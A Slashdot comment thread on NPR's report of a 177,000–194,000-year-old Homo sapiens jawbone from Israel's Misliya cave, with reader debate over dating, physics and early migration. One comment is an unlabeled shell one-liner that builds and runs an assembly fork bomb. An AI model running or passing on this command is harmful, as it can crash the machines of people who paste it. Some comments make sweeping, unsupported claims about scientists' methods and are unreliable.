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Scientists Discover the Oldest Human Fossils Outside Africa (npr.org)
Archaeologists in Israel have discovered the oldest fossil of a modern human outside Africa, suggesting that humans first migrated out of the content much earlier than previously believed. NPR reports: The scientists were digging in a cave called Misliya, on the slopes of Mount Carmel on the northern coast of Israel. "The cave is one of a series of prehistoric caves," says Mina Weinstein-Evron of the Zinman Institute of Archaeology at the University of Haifa, who led the team. "It's a collapsed cave, but people lived there before it collapsed." The cave had been occupied for several hundred thousand years, she says. All the archaeological evidence suggested that the ancient people who lived in the cave were hunter-gatherers. "They were hunting animals, mainly ungulates, like fallow dear, gazelle, aurochs [an extinct species of wild cattle] and other small animals," says Weinstein-Evron. "They built fireplaces throughout the length of the cave, again and again, in the same place, in the same sort of defined arrangement."
Weinstein-Evron says she and her team wanted to find out which species of ancient humans lived in the cave. So, she says, they kept digging. "And among the animal bones and flint tools we found a jawbone, an upper jawbone of an individual," she says. A detailed analysis of the jawbone and the teeth confirmed that it indeed belonged to someone of our species, Homo sapiens. And when they dated the fossil, it turned out to be between 177,000 and 194,000 years old, making it the oldest known such fossil outside the African continent.
Weinstein-Evron says she and her team wanted to find out which species of ancient humans lived in the cave. So, she says, they kept digging. "And among the animal bones and flint tools we found a jawbone, an upper jawbone of an individual," she says. A detailed analysis of the jawbone and the teeth confirmed that it indeed belonged to someone of our species, Homo sapiens. And when they dated the fossil, it turned out to be between 177,000 and 194,000 years old, making it the oldest known such fossil outside the African continent.
"...were hunter-gatherers. "They were hunting animals.."
Yes, that's how it works. You hunt animals, you gather plants. Not the other way around.
Humans migrated out of the content fairly recently. In fact before Google it was all content. Now it's all ads.
Welcome to the humanities and social sciences where tiny samples and 1 sigma results are OK as are massive error bars. And then the media cherry pick which results to report and which to ignore based on whether they fit the journalists' political prejudices and generate dramatic headlines. And the 'scientists' all try to produce results that will get media attention because that means more grant money.
At least we still have physics as a real science.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Ahem, from the introduction of the first article you linked (emphasis mine): "the first wave took place between 130,000 and 115,000 years ago via northern Africa, and appears to have mostly died out or retreated".
Besides that, there is a lot of evidence that early humans migrated back and forth from Africa, multiple times.
My guess is the methods they are using for dating materials is a complete joke, but no one likes to admit it.
Not just that, even though dating is almost always very difficult and a source of fiery debates among experts. Fossils interpretation is oftentimes a kind of witchcraft (is that molar from an early sapiens, a late erectus, a new species, a neanderthal? by the way are neanderthals sapiens? ...). Moreover most scientists, who are not physicists, simply don't grasp statistics and measure theory, and pull numbers out of thin air. And then there's poli-fitting, which is like poly-fitting, but using politics for fitting your data...
Continent not content.
*cough* dark matter *cough*.
Confucius say, "Find worm in apple - bad. Find half a worm - worse."
"even though dating is almost always very difficult and a source of fiery debates among experts."
A statistically significant proportion of Slashdot readers are quite familiar with this concept.
I half agree with you.
Physics works pretty well for things you can do experiments on. It doesn't work very well for things you can't. But then how could it?
It can because it can draw a pretty tight box around those things.
Your examples, dark matter/energy, are great examples of this. Due to physics, we know with near 100% what these things aren't. And that covers something like 99.99% of the possibilities. We know that dark matter isn't made up of protons, neutrons, electrons, or neutrinos. We know that it's not some sort of weird energy. It's either some sort of matter we aren't familiar with, or something with it's properties represents the error in our understanding of general relativity.
Regardless, it's pretty well boxed in. Sure, we can't do experiments on it, but we've indirectly ruled pretty much everything else that exists in the universe out of a possible candidate. Not bad for not being able to experiments on it.
Velociraptor = Distiraptor / Timeraptor
In fact I remember a memorable rant by a physicist at Richard Dawkins where he said that he was bothered by Dawkins' belief that science understands everything when dark matter and dark energy make up most of the mass in the universe and we've got very little idea of what either is.
Damn right.
Except that Dawkins has never claimed that science understands everything. Science is needed precisely because we don't understand everything.
And when science doesn't understand something, that's no justification for picking an unscientific explanation. It's a call to bring more science to bear on the problem so we can understand more. A desert tribe god isn't going to explain dark matter and dark energy. Science may not today, but is working on it.
I thought the first humans didn't leave Africa until about 60,000 years ago. This has been stated authoritatively again and again. Now it seems it is 117,000 years to 194,000 years. What an error rate. My guess is the methods they are using for dating materials is a complete joke, but no one likes to admit it.
Your thought was wrong.
About 60,000 years ago was when the ancestors of the current modern human population outside of Africa departed.
This says nothing at all about earlier, short distance emigrations that died out, which is what this research describes. It is only 250 miles from this cave to Africa.
Guessing in ignorance is a fruitless activity. Try doing some research on the topic next time.
Starships were meant to fly, Hands up and touch the sky - Nicky Minaj
You seem to have the huge misconception that hunter-gather's simply wonder around aimlessly, wherever the path may take them. That is completely untrue, tribes had home ranges which they knew like the back of their hands. If they had to travel outside known territory, where they didn't know where water, hunting grounds, danger areas, safe places to camp were located than they would definitely not be doing 500 miles a year. Most of their time would be spent scouting, gathering resources and planning the next (short) leg of the journey